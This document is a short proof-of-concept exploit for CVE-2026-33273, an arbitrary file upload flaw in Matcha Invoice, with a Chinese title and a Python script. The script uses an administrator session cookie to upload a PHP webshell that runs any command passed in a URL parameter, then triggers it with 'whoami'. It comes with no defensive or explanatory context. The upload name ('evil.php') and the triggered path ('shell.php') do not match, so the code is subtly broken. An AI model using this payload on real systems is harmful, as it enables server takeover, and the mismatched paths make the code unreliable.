CVE-2026-33273 MATCHA INVOICE 任意文件上传漏洞

import requests # Target configuration target_url = "http://example.com/matcha_invoice/upload.php" shell_url = "http://example.com/matcha_invoice/uploads/shell.php" # Administrator session cookie (required due to PR:H) cookies = { "PHPSESSID": "valid_admin_session_id" } # Payload: A simple PHP webshell # The application fails to validate the file type, allowing .php upload files = { 'file': ('evil.php', '<?php system($_GET["cmd"]); ?>', 'application/octet-stream') } data = { 'submit': 'Upload' } try: # Step 1: Upload the malicious file print("[*] Attempting to upload malicious file...") response = requests.post(target_url, files=files, data=data, cookies=cookies) if response.status_code == 200 and "success" in response.text.lower(): print("[+] File uploaded successfully!") # Step 2: Trigger the payload print("[*] Triggering the payload...") params = {'cmd': 'whoami'} exec_response = requests.get(shell_url, params=params) if exec_response.status_code == 200: print(f"[+] Command execution successful!") print(f"[+] Output: {exec_response.text}") else: print("[-] Failed to execute command.") else: print("[-] Upload failed.") except Exception as e: print(f"[!] An error occurred: {e}")